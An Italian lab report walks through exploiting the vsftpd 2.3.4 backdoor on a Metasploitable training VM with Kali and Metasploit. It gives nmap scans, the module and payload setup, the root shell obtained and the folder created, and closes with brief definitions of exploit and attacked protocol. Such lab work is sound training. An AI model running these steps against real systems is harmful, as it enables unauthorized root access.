

Hacking con Metasploit

Traccia: Nella lezione pratica di oggi vedremo come effettuare una sessione di hacking con Metasploit sulla macchina Metasploitable.

Vi chiediamo di andare a exploitare la macchina Metasploitable sfruttando il servizio «vsftpd». Configurare l'indirizzo della vostra macchina Metasploitable come di seguito: 192.168.1.149/24. Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/). Chiamate la cartella test_metasploit. Mettere tutto su un report, spiegare cosa si intende per exploit, cos'è il protocollo attaccato, i vari step.

Configurazione indirizzo di rete:

Assegno a Metasploitable l'indirizzo di rete 192.168.1.149/24

```
GNU nano 2.0.7      File: /etc/network/interfaces      Modified
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

Per permettere alle macchine di comunicare assegno a Kali l'indirizzo di rete 192.168.1.148/24

```
GNU nano 7.2      /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.1.148/24
gateway 192.168.1.1
```

Identifico gli host attivi nella subnet eseguendo il comando ***nmap -sn 192.168.1.0/24*** per effettuare una scansione ping.

```
(kali@kali)-[~]
$ nmap -sn 192.168.1.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-15 12:28 CET
Nmap scan report for 192.168.1.148
Host is up (0.00021s latency).
Nmap scan report for 192.168.1.149
Host is up (0.0013s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 19.99 seconds
```

Una volta identificato l'indirizzo IP di Metasploitable eseguo la scansione delle porte. Con il comando ***nmap -sV 192.168.1.149*** scansiono le porte aperte sulla macchina target e tento di identificare la versione dei servizi in esecuzione.

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-15 12:29 CET
Nmap scan report for 192.168.1.149
Host is up (0.0031s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet   Linux telnetd
25/tcp    open  smtp     Postfix smtpd
53/tcp    open  domain   ISC BIND 9.4.2
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind  2 (RPC #100000)
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
512/tcp   open  exec     netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell    Netkit rshd
1099/tcp  open  java-rmi GNU Classpath grmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open  nfs      2-4 (RPC #100003)
2121/tcp  open  ftp      ProFTPD 1.3.1
3306/tcp  open  mysql?
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc      VNC (protocol 3.3)
6000/tcp  open  X11      (access denied)
6667/tcp  open  irc      UnrealIRCd
8009/tcp  open  ajp13    Apache Jserv (Protocol v1.3)
8180/tcp  open  http     Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix
, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.18 seconds
```

Per effettuare una scansione mirata alla ricerca di vulnerabilità nel servizio FTP (porta 21) sulla macchina Metasploitable ed avere un quadro più completo eseguo il comando ***nmap -script=vuln 192.168.1.149 -p 21 -A***

```
(kali@kali)-[~]
$ nmap --script=vuln 192.168.1.149 -p 21 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-15 12:44 CET
Nmap scan report for 192.168.1.149
Host is up (0.0024s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPD version 2.3.4 backdoor
|   State: VULNERABLE (Exploitable)
|   IDs: CVE:CVE-2011-2523 BID:48539
|   vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|   Disclosure date: 2011-07-03
|   Exploit results:
|   Shell command: id
|   Results: uid=0(root) gid=0(root)
|   References:
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|   https://www.securityfocus.com/bid/48539
|   https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits
|   /unix/ftp/vsftpd_234_backdoor.rb
|_  http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdo
|   ored.html
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.15 seconds
```

```
(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: View all productivity tips with the tips command

      `:oDFo:`
      ./ymM0dayMmy/.
      --dHJ5aGfYzGVyIQ==+
      `:smO--Destroy.No.Data--s:`
      --h2--Maintain.No.Persistence--h+
      `:odNo2--Above.All.Else.Do.No.Harm--Ndo:`
      ./etc/shadow.0days-Data'%200R%201=1--.No.0Mn0'/.
      --+SecKCoin++e.AMD      `.-://///hbove.913.ElsMnH+-
      --/.ssh/id_rsa.Des-      htN01UserWroteMeI-
      :dopeAW.No<nano>o      :is:TRiKC.sudo-.A:
      :we're.all.alike``      The.PFYroy.No.D7:
      :PLACEDRINKHERE!      yxp_cmdshell.Ab0:
      :msf>exploit -j.      :Ns.B0B6ALICEs7:
      :---$wXrwx:-.      "MS146.52.No.Per:
      :<script>.Ac816/      sENbove3101.404:
      :NT_AUTHORITy.Do      "T:/shSYSTEM-.N:
      :09.14.2011.raid      /STFU|wall.No.Pr:
      :hevnstSurb025N.      dNVRGOING2GIVUUP:
      :#OUTHOUSE- -s:      /corykennedyData:
      :$nmap -oS      SSo.6178306Ence:
      :Awsm.da:      /shMTL#beats30.No.:
      :Ring0:      dDestRoyREXXC3ta/M:
      :23d:      sSETEC.ASTRONOMYist:
      "the quieter /- u become, the /yo--e.ence.N:(){ :|: & }:: to hear"
      :Shall.We.Play.A.Game?tron/
      ...ooy.if1ghtf0r+eHUser5
      ...th3.H1V3.U2VjRFNN.jMh+.
      "jMjM--WE.ARE.se--mWjMs
      +-KANSAS.CITY's--
      J-HAKCERS~./.'
      .esc:wq!:`
      +++ATH`
      `.
```

```
msf6 > search vsftpd

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                        |
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/unix/interact):



| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|      |                 |          |             |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



er you become, the more you are able to hear"

View the full module info with the info, or info -d command.
```


Configuro il parametro RHOSTS con l'IP di Metasploitable eseguendo il comando **set RHOST 192.168.1.149**. Ripeto a seguire il comando **show options** per verificare che anche RHOSTS risulti correttamente configurato con l'IP della macchina vittima

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.149
RHOST => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      The local client address
  CPORT      The local client port
  Proxies    A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ----      -
  Exploit target:

  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.
```

È il momento di controllare quali sono i payloads disponibili eseguendo il comando **show payloads**. Scelgo l'unico disponibile eseguendo il comando **set payload payload/cmd/unix/interact** e ripeto a seguire il comando **show options** per verificare se vi sono o meno parametri da configurare.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
=====

#  Name                        Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/interact    normal         No     Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      The local client address
  CPORT      The local client port
  Proxies    A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ----      -
  Exploit target:

  Id  Name
  --  -
  0    Automatic
```

Non dovendo configurare altro posso procedere con l'exploit eseguendo il comando **exploit**.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.148:42127 -> 192.168.1.149:6200) at 2024-01-15 13:16:44 +0100
```

L'esito dell'exploit è positivo: viene aperta una sessione che testo con il comando **ifconfig**

L'IP configurato risulta essere quello che avevo precedentemente attribuito a Metasploitable.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.148:42127 -> 192.168.1.149:6200) at 2024-01-15 13:16:44 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:99:2a:16
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe99:2a16/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:23 errors:0 dropped:0 overruns:0 frame:0
          TX packets:110 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1811 (1.7 KB)  TX bytes:10870 (10.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:180 errors:0 dropped:0 overruns:0 frame:0
          TX packets:180 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:56167 (54.8 KB)  TX bytes:56167 (54.8 KB)
```

Ai fini dell'esercizio di oggi devo creare una cartella `test_metasploit` con il comando **`mkdir`** nella directory di root (/). Eseguo quindi il comando **`pwd`** per capire in quale directory mi trovo e dato che sono già posizionata nella directory di root / eseguo il comando **`mkdir test_metasploit`**. Verifico con **`ls`** che la cartella creata risulti correttamente in lista.

```
pwd
/
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Per un'ulteriore verifica controllo che anche su Metasploitable risulti in lista la cartella appena creata.

```
msfadmin@metasploitable:/$ ls
bin    dev    initrd    lost+found    nohup.out    root    sys    test_metasploit    usr
boot   etc    initrd.img  media        opt          sbin    tmp    var
cdrom  home  lib        mnt          proc         srv     tnp    vmlinuz
msfadmin@metasploitable:/$
```

EXPLOIT

Un exploit è un pezzo di software, un insieme di dati o una sequenza di comandi che sfrutta una vulnerabilità in un sistema informatico o in un'applicazione software. Gli exploit sono spesso utilizzati per guadagnare il controllo di un sistema o per ottenere privilegi di accesso

che altrimenti non sarebbero disponibili. Possono variare in complessità, da semplici script a complessi programmi, e sono spesso utilizzati in attacchi informatici.

PROTOCOLLO ATTACCATO

Il protocollo attaccato, nel contesto della sicurezza informatica, si riferisce al protocollo di rete o all'insieme di regole e convenzioni che vengono sfruttati da un exploit per compromettere un sistema. Questi protocolli possono essere di vario tipo, come HTTP, SMTP o TCP/IP, e ciascuno ha le proprie vulnerabilità specifiche. Gli attaccanti cercano di individuare e sfruttare queste vulnerabilità per ottenere accesso non autorizzato o per danneggiare il sistema bersaglio.